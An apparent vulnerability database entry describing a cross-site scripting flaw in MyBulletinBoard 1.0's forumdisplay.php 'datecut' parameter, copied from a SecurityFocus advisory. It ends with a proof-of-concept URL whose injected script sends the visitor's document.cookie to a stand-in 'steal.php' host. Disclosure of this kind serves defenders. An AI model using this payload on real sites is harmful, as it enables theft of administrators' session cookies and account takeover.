MyBulletinBoard 1.0 Forumdisplay.PHP Cross-Site Scripting Vulnerability

2014-07-01T00:00:00
ID SSV:79872
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/14754/info

MyBulletinBoard is prone to a cross-site scripting vulnerability. This is due to a lack of proper sanitization of user-supplied input to the application.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting administrative user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forumdisplay.php?fid=2&datecut=<http://www.forum.com/forumdisplay.php?fid=2&datecut=>""><script>window.location="http://www.example.com/steal.php?cookie="+document.cookie</script>